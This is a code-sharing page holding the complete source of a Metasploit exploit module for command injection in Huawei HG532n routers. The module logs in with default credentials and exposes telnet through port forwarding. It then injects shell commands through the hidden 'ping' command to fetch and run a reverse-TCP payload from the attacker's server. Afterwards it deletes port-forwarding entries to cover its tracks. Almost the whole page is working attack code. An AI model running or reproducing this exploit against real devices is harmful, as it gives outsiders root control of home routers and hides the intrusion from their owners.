扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info( info, 'Name'=> 'Huawei HG532n Command Injection', 'Description' => %q( This module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command. ), 'Author' => [ 'Ahmed S. Darwish <darwish.07@gmail.com>',# Vulnerability discovery, msf module ], 'License'=> MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' }, 'Targets'=> [ [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Apr 15 2017', 'References' => [ ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245'] ] )) register_options( [ OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) ], self.class ) end def check httpd_fingerprint = %r{ \A HTTP\/1\.1\s200\sOK\r\n CACHE-CONTROL:\sno-cache\r\n Date:\s.*\r\n Connection:\sKeep-Alive\r\n Content-Type:\stext\/html\r\n Content-Length:\s\d+\r\n \r\n <html>\n<head>\n <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n <META\shttp-equiv="Pragma"\scontent="no-cache">\n <META\shttp-equiv="expires"\sCONTENT="-1">\n <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/> }x begin res = send_request_raw( 'method' => 'GET', 'uri'=> '/' ) rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Could not connect to device") return Exploit::CheckCode::Unknown end if res && res.code == 200 && res.to_s =~ httpd_fingerprint return Exploit::CheckCode::Appears end Exploit::CheckCode::Unknown end # # The Javascript code sends all passwords in the form: #form.setAction('/index/login.cgi'); #form.addParameter('Username', Username.value); #form.addParameter('Password', base64encode(SHA256(Password.value))); # Do the same base64 encoding and SHA-256 hashing here. # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) Base64.encode64(sha256).gsub(/\s+/, "") end # # Without below cookies, which are also sent by the JS code, the # server will consider even correct HTTP requests invalid # def generate_web_cookie(admin: false, session: nil) if admin cookie ='FirstMenu=Admin_0; ' cookie << 'SecondMenu=Admin_0_0; ' cookie << 'ThirdMenu=Admin_0_0_0; ' else cookie ='FirstMenu=User_2; ' cookie << 'SecondMenu=User_2_1; ' cookie << 'ThirdMenu=User_2_1_0; ' end cookie << 'Language=en' cookie << "; #{session}" unless session.nil? cookie end # # Login to the router through its JS-based login page. Upon a successful # login, return the keep-alive HTTP session cookie # def web_login cookie = generate_web_cookie(admin: true) # On good passwords, the router redirect us to the /html/content.asp # homepage. Otherwise, it throws us back to the '/' login page. Thus # consider the ASP page our valid login marker invalid_login_marker = "var pageName = '/'" valid_login_marker = "var pageName = '/html/content.asp'" username = datastore['HttpUsername'] password = datastore['HttpPassword'] res = send_request_cgi( 'method'=> 'POST', 'uri' => '/index/login.cgi', 'cookie'=> cookie, 'vars_post' => { 'Username' => username, 'Password' => hash_password(password) } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end return res.get_cookies if res.body.include? valid_login_marker if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") end end # # The telnet port is filtered by default. Expose it to the outside world # through NAT forwarding # def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) external_telnet_port = rand(32767) + 32768 portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" invalid_port_export_marker = /var ErrInfo = \d+/ res = send_request_cgi( 'method'=> 'POST', 'uri' => '/html/application/addcfg.cgi', 'cookie'=> cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get'=> { 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', 'RequestFile' => portmapping_page }, 'vars_post' => { 'x.PortMappingProtocol'=> "TCP", 'x.PortMappingEnabled' => "1", 'x.RemoteHost' => "", 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, 'x.InternalClient' => "192.168.1.1", 'x.InternalPort' => "23", 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end if res.body.include? valid_port_export_marker print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" return external_telnet_port end if res.body.match? invalid_port_export_marker fail_with(Failure::Unknown, "Router reported port-mapping error. " \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") end # # Cover our tracks; don't leave the exposed router's telnet port open # def hide_exposed_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) portmapping_page = '/html/application/portmapping.asp' # Gather a list of all existing ports forwarded so we can purge them soon res = send_request_cgi( 'method'=> 'GET', 'uri' => portmapping_page, 'cookie'=> cookie ) unless res && res.code == 200 print_warning "Could not get current forwarded ports from web interface" end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| vars_post[key] = "" end res = send_request_cgi( 'method'=> 'POST', 'uri' => '/html/application/del.cgi', 'cookie'=> cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get'=> { 'RequestFile' => portmapping_page }, 'vars_post' => vars_post ) return if res && res.code == 200 print_warning "Could not re-hide exposed telnet port" end # # Cleanup our state, after any successful web login. Note: router refuses # more than 3 concurrent logins from the same IP. It also forces a 1-minute # delay after 3 unsuccessful logins from _any_ IP. # def web_logout(session_cookies) cookie = generate_web_cookie(admin: true, session: session_cookies) res = send_request_cgi( 'method'=> 'POST', 'uri' => '/index/logout.cgi', 'cookie'=> cookie, 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } ) return if res && res.code == 200 print_warning "Could not logout from web interface. Future web logins may fail!" end # # Don't leave web sessions idle for too long (> 1 second). It triggers the # HTTP server's safety mechanisms and make it refuse further operations. # # Thus do all desired web operations in chunks: log in, do our stuff (passed # block), and immediately log out. The router's own javescript code handles # this by sending a refresh request every second. # def web_operation begin cookie = web_login yield cookie ensure web_logout(cookie) unless cookie.nil? end end # # Helper method. Used for waiting on telnet banners and prompts. # Always catch the ::Timeout::Error exception upon calling this. # def read_until(sock, timeout, marker) received = '' Timeout.timeout(timeout) do loop do r = (sock.get_once(-1, 1) || '') next if r.empty? received << r print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true return received if received.include? marker end end end # # Borrowing constants from Ruby's Net::Telnet class (ruby license) # IAC =255.chr # "\377" # "\xff" # interpret as command DO=253.chr # "\375" # "\xfd" # please, you use option OPT_BINARY=0.chr # "\000" # "\x00" # Binary Transmission OPT_ECHO=1.chr # "\001" # "\x01" # Echo OPT_SGA =3.chr # "\003" # "\x03" # Suppress Go Ahead OPT_NAOFFD=13.chr# "\r" # "\x0d" # Output Formfeed Disposition def telnet_auth_negotiation(sock, timeout) begin read_until(sock, timeout, 'Password:') sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected first password banner not received") end begin read_until(sock, timeout, 'Password:') # Router bug sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected second password banner not received") end end def telnet_prompt_wait(error_regex = nil) begin result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) if error_regex error_regex = [error_regex] unless error_regex.is_a? Array error_regex.each do |regex| if result.match? regex fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") end end end rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end end # # Basic telnet login. Due to mixins conflict, revert to using plain # Rex sockets (thanks @hdm!) # def telnet_login(port) print_status "Connecting to just-exposed telnet port #{port}" @telnet_prompt = 'HG520b>' @telnet_timeout = 60 @telnet_sock = Rex::Socket.create_tcp( 'PeerHost' => rhost, 'PeerPort' => port, 'Context'=> { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout'=> @telnet_timeout ) if @telnet_sock.nil? fail_with(Failure::Unreachable, "Exposed telnet port unreachable") end add_socket(@telnet_sock) print_good "Connection succeeded. Passing telnet credentials" telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" telnet_prompt_wait print_good 'Prompt received. Telnet access fully granted!' end def telnet_exit return if @telnet_sock.nil? @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY) end # # Router's limited ATP shell just reverts to classical Linux # shell when executing a ping: # # "ping %s > /var/res_ping" # # A successful injection would thus substitute all its spaces to # ${IFS}, and trails itself with ";true" so it can have its own # IO redirection. # def execute_command(command, error_regex = nil, background: false) print_status "Running command on target: #{command}" command.gsub!(/\s/, '${IFS}') separator = background ? '&' : ';' atp_cmd = "ping ?;#{command}#{separator}true" @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) telnet_prompt_wait(error_regex) print_good "Command executed successfully" end # # Our own HTTP server, for serving the payload # def start_http_server @pl = generate_payload_exe downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile if datastore['DOWNHOST'] print_status "Will not start local web server, as DOWNHOST is already defined" else print_status("Starting web server; hosting #{resource_uri}") start_service( 'ServerHost' => '0.0.0.0', 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) end resource_uri end # # HTTP server incoming request callback # def on_request_uri(cli, _request) print_good "HTTP server received request. Sending payload to victim" send_response(cli, @pl) end # # Unfortunately we could not use the <code>echo' command stager since # the router's busybox echo does not understand the necessary # "-en" options. It outputs them to the binary instead. # # We could not also use the </code>wget' command stager, as Huawei # crafted their own implementation with much different params. # def download_and_run_payload(payload_uri) srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" Rex::Socket.source_address(rhost) else datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s output_file = "/tmp/#{rand_text_alpha_lower(8)}" # Check module documentation for the special wget syntax wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. execute_command("chmod 700 #{output_file}", /No such file/) execute_command(output_file, /not found/, background: true) execute_command("rm #{output_file}", /No such file/) end # # At the end of the module, especially for reverse_tcp payloads, wait for # the payload to connect back to us.There's a very high probability we # will lose the payload's signal otherwise. # def wait_for_payload_session print_status "Waiting for the payload to connect back .." begin Timeout.timeout(datastore['ListenerTimeout']) do loop do break if session_created? Rex.sleep(0.25) end end rescue ::Timeout::Error fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") end print_good "Payload connected!" end # # Main exploit code: login through web interface; port-forward router's # telnet; access telnet and gain root shell through command injection. # def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") end print_good "Good. Router seems to be a vulnerable HG532n device" telnet_port = nil web_operation do |cookie| telnet_port = expose_telnet_port(cookie) end begin telnet_login(telnet_port) payload_uri = start_http_server download_and_run_payload(payload_uri) wait_for_payload_session ensure telnet_exit web_operation do |cookie| hide_exposed_telnet_port(cookie) end end end end |
体验盒子
